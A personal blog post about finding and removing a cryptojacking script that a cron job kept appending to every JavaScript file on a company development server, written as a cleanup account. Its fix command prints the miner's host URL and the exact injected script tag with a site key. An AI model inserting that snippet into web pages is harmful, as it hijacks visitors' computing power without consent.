Skip to main content

My continous fight against a bitcoin miner

I was working on a medium sized company. And one day during one of my project I got the chance to work on a project. And then I got the chance to setup our company server as the development server for the project.

I started to setup the server as usual with all the usual stuffs (It's time I do something about it).
My initial code setup was a-okay, until I found out that the webpage takes a little bit more to load. This was happening now and then. And when I chat to my colleagues I get to know that they also suffer from the same fate. They thought it was the network issue.

I started to look for the issue, in the server. You know how it is. There is no GUI, but all you have is a terminal and that's that.

During HTML page inspection on the browser, I could see that at the very end of the page after all the scripts loaded there was this "cute" little piece of script that's been called like 7 or 8 times.
https://xmr.omine.org/assets/v7.js
(https! so secure...)

Well as usual I need to know what's this black magic.

Well turns out a bunch of guys on the internet has this problem. And it seems it's a bitcoin miner.

Simply put, this scripts helps take up the resources of the infected system, and helps the attacker to mine bitcoins. Not with their resources but OUR RESOURCES.

Turns out the root cause was simple. They knew our root password. What a disaster.
Turns out there was this cronjob running. It was so simple but highly effective.
The cronjob does only one job. It will run every single second, put the above link on the end of every js file from the very root of the file system. And the link will take care if anyone tries to remove the cronjob from the system (I found that the hard way).

I tried many methods;
1. Removed the cronjob
2. Stopped the cronjob
3. Changed the password

But nothing.

The link was present in every js files, even in the node_modules folder.

So I decided to win over this "villain".

  1. Stopped every instance of sh, curl and grep. Because someway or the other they were keep putting the cronjob back in action (Couldn't find how) ps aux | grep sh and then the all too famous kill command
  2. With a little bit of help from stackoverflow and linus tech tips and reddit communtiy, created a script that will search entire file system for files that end with .js and then kept it's search for the links at the end of the file and then removing them
  3. Once all this is done, removed the cronjob, changed the root password to a secure one and then restarted all the grep, curl and sh stuff

The end product ? PEACE

The lessons I learned:

  1. Keep your passwords safe, you may need to pay a hefty price if you don't
  2. Keep your password extra safe, I mean it
  3. Make it difficult to guess


P.S - If anyone wondering what's the magic script I used to save my company, here it is;

  1. Finding the js files : find . -name "*.js" -type f | sudo xargs sed -i -e '/document.write('\''<script src="https:\/\/xmr.omine.org\/assets\/v7.js"><\/script><script>OMINEId("31f7dd372f1545eeb6db379490b0e3c5","-1")<\/script>'\'');/d'
  2. Finding the process ids and then removing them,  for pid in $(ps -ef | grep "the-command-that-need-to-be-removed-here" | awk '{print $2}'); do kill -9 $pid; done

Comments

Popular posts from this blog

AI. Will it replace us or...?

AI!! The buzzword is too hot in the market nowadays. Do you have a technical product or an idea? If it doesn't have AI in it, then chances are it's not going to be sold like hot cakes. That is how things have changed lately. It is no wonder why me and my colleagues at Gelato want to see what AI can do in a niche department like customer support and service. And that is exactly what we did. For a company like Gelato, which is in the market for production-on-demand, there are a lot of customer questions you need to answer. It can be related to products, queries about shipping and pricing, and so on and so forth. Thus, our customer support team is always happy to help with these recurring questions. Let's take one example. A customer asked us, "Do you ship to Norway?" Now that is an easy question to answer if you have the knowledge written somewhere where you could refer to it and say, "Yes! As a matter of fact, we do." Following the same thread, the next q

A smoooooth operation....

 Backward compatibility...   A word that I used to hear when I started my career. You design your APIs with backward compatibility in mind, don't break anything when you are upgrading, think about this, think about that etc. Well, those teachings from my previous mentors didn't go in vain, as I made a fundamental change in how we report problems @  Gelato .    You see recently @  Gelato , the CS (Customer Support) team moved from A ticketing management system to B ticketing management system, which is a monumental task for all the people involved in the CS team. Even though the fundamental concept remains the same the places, the attributes the concepts, and the naming of different attributes all change if you have this transition. And thus it was a big change for the whole company.    After the decision was taken, the first step was to create a well-written transition document, which the good folks at the CS team tackled. Special thanks to  Bartosz ,  Kyle  and  Anastasiia  fo

My experience with the Golden signals

In June 2022, I embarked on a quest for a new job opportunity. Fortunately, this endeavor began just before the global job market experienced a significant downturn. I must admit, I faced my fair share of rejections during this period, but I also had an epiphany. It became evident that there was so much more to learn and understand in the world of technology. Coming from a small service-based company, I had encountered limitations in terms of how much I could learn on the job. However, during interviews and conversations with senior developers, I gained valuable insights into the architectural and technical decisions made by teams in various companies. One such company that left a lasting impression on me was Delivery Hero. Their technical blog posts provided a wealth of information, especially for someone like me, transitioning from a smaller company where projects had minimal daily active users compared to the scale of Delivery Hero. One particular blog post that caught my attention